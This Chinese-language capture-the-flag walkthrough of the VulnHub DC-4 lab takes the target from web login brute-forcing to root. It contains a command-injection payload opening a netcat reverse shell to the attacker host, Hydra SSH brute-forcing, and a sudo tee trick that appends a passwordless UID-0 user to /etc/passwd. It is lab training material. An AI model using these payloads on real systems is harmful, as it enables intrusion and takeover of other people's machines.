DC-4靶机实战:从Web渗透到权限提升的完整路径解析
1. DC-4靶机渗透测试入门指南
第一次接触DC-4靶机时,我完全被它精巧的设计所吸引。这个靶机完美模拟了一个真实的企业Web应用环境,从简单的登录页面到复杂的权限提升路径,每一个环节都隐藏着安全漏洞。对于刚入门渗透测试的朋友来说,DC-4就像是一个精心设计的闯关游戏,既能学习技术又不会太打击信心。
在开始实战之前,我们需要准备好测试环境。我建议使用VirtualBox搭建环境,这样既不会影响主机系统,又能随时重置靶机状态。攻击机推荐使用Kali Linux 2023.3版本,这个版本预装了最新版的渗透测试工具。靶机镜像可以从vulnhub官网下载,文件大小约500MB,下载完成后导入VirtualBox即可。
记得我第一次做渗透测试时,最大的困惑就是不知道从何入手。后来我发现,规范的流程非常重要。通常我会按照"信息收集→漏洞探测→漏洞利用→权限提升→痕迹清理"这五个步骤来进行。DC-4靶机特别适合练习这个完整流程,因为它包含了从Web渗透到系统提权的各个环节。
2. 信息收集与初步探测
2.1 网络扫描与端口探测
拿到一个陌生靶机时,我习惯先用arp-scan快速定位它的IP地址。这个工具比常规的ping扫描更可靠,特别是在靶机禁用了ICMP响应时。执行arp-scan -l命令后,我通常会看到类似这样的输出:
192.168.1.1 00:11:22:33:44:55 ROUTER 192.168.1.9 00:11:22:33:44:56 Kali 192.168.1.15 08:00:27:12:34:56 DC-4确认靶机IP后,就该上nmap进行详细扫描了。我常用的参数组合是-sS -A,这个组合既快速又能获取丰富的信息。-sS表示SYN扫描(半开扫描),这种方式比全连接扫描更隐蔽;-A则会启用操作系统检测和版本检测。扫描DC-4时,我发现了两个关键端口:
- 22/tcp:OpenSSH服务
- 80/tcp:nginx/1.15.10 Web服务
2.2 Web应用初步分析
打开浏览器访问靶机IP,我看到了一个简洁的登录页面。这种场景在实际渗透中非常常见,通常我会先尝试一些基本操作:
- 查看页面源代码,寻找注释或隐藏字段
- 尝试常见默认凭证(admin/admin、admin/password等)
- 测试SQL注入(在用户名输入' or 1=1 --)
- 检查是否有注册/找回密码功能
在DC-4的案例中,简单的SQL注入尝试没有成功,但注意到页面提示需要admin账号登录。这给了我一个明确的方向——可能需要暴力破解密码。
3. Web登录绕过与命令注入
3.1 使用Burp Suite进行密码爆破
没有专业字典的情况下,我发现Kali自带的John the Ripper密码列表就很实用。将/usr/share/john/password.lst复制到工作目录后,就可以在Burp Suite中使用了。具体操作步骤:
- 拦截登录请求(建议使用Burp的Proxy功能)
- 发送请求到Intruder模块
- 设置攻击类型为Sniper(单点爆破)
- 在Payloads标签页选择"Runtime file"并指定字典文件
- 开始攻击并观察响应长度差异
经过约1分钟的爆破,我发现响应长度最长的条目对应的密码是"happy"。这个结果验证了我的猜测——系统使用了弱密码。
3.2 发现并利用命令注入漏洞
成功登录后,我注意到一个名为"Command"的功能页面,其中包含一个"Run"按钮。点击后页面显示了系统命令的执行结果。这种功能在实际开发中很常见,但如果没有做好输入过滤,就会形成严重的命令注入漏洞。
使用Burp拦截请求后,我发现了关键参数"radio"。修改这个参数的值,就可以注入任意命令。为了获取反向shell,我构造了如下payload:
radio=nc+192.168.1.9+4444+-e+/bin/bash&submit=Run同时在Kali上使用nc -lvp 4444开启监听,成功获得了目标系统的shell访问权限。为了获得更友好的交互环境,我立即执行了:
python -c 'import pty;pty.spawn("/bin/sh")'这个技巧可以让我们获得一个功能更完整的shell,支持命令历史、Tab补全等功能。
4. 内网横向移动与密码破解
4.1 系统内部信息收集
获得初始立足点后,我习惯先进行基本的系统信息收集:
whoami # 查看当前用户 uname -a # 查看系统内核版本 cat /etc/passwd # 查看系统用户列表 ls /home # 查看用户主目录在DC-4的/home目录下,我发现了三个用户文件夹:charles、jim和sam。进入jim的目录后,发现了一个有趣的备份文件:
cd /home/jim/backups cat old-passwords.bak这个文件看起来像是一个自定义的密码字典,包含了一些可能的密码组合。我立即将这个文件复制到本地,准备用它来进行下一步的密码爆破。
4.2 使用Hydra爆破SSH密码
有了针对性的密码字典,爆破效率会大大提高。我选择使用Hydra来爆破jim用户的SSH密码:
hydra -l jim -P old-passwords.bak -t 4 ssh://192.168.1.15参数说明:
-l jim:指定目标用户名-P old-passwords.bak:指定密码字典文件-t 4:设置并行任务数为4(根据网络状况调整)ssh://192.168.1.15:目标SSH服务地址
几分钟后,Hydra成功爆破出密码是"jibril04"。使用这个密码通过SSH登录后,我发现系统提示有新邮件。查看邮件内容:
cat /var/mail/jim邮件显示charles用户分享了密码。这给了我横向移动到更高权限账户的机会。
5. 权限提升与root获取
5.1 利用sudo配置漏洞
切换到charles用户后,我开始寻找提权机会。首先检查sudo权限:
sudo -l输出显示charles用户可以以root身份执行teehee命令,而且不需要密码。teehee实际上就是tee命令的别名,用于向文件追加内容。这个发现让我想到可以通过修改/etc/passwd文件来创建特权用户。
5.2 创建root权限用户
/etc/passwd文件控制着系统用户账户信息。通过在文件中添加一个UID为0的用户,就可以获得root权限。具体操作:
sudo teehee -a /etc/passwd <<EOF demon::0:0:::/bin/bash EOF这行命令向/etc/passwd文件追加了一个新用户"demon",UID和GID都设置为0(root级别),登录shell设置为/bin/bash。由于密码字段留空,我们可以直接切换到该用户:
su demon现在,我们已经获得了完整的root权限,可以查看/root目录下的flag文件,完成整个渗透测试过程。
6. 渗透测试中的实用技巧
在实际操作中,有几个小技巧特别实用。首先是shell升级,初始获得的shell往往功能受限,使用Python的pty模块可以快速升级:
python -c 'import pty;pty.spawn("/bin/bash")'其次是文件传输,当需要将工具或脚本上传到靶机时,我常用的方法是在Kali上启动HTTP服务:
python3 -m http.server 8080然后在靶机上使用wget或curl下载:
wget http://192.168.1.9:8080/file.txt最后是信息记录,建议在渗透过程中随时记录关键信息,比如:
- 发现的用户名和密码
- 重要文件路径
- 可写目录位置
- 运行的网络服务
这些信息在后续的渗透步骤中可能会派上大用场。
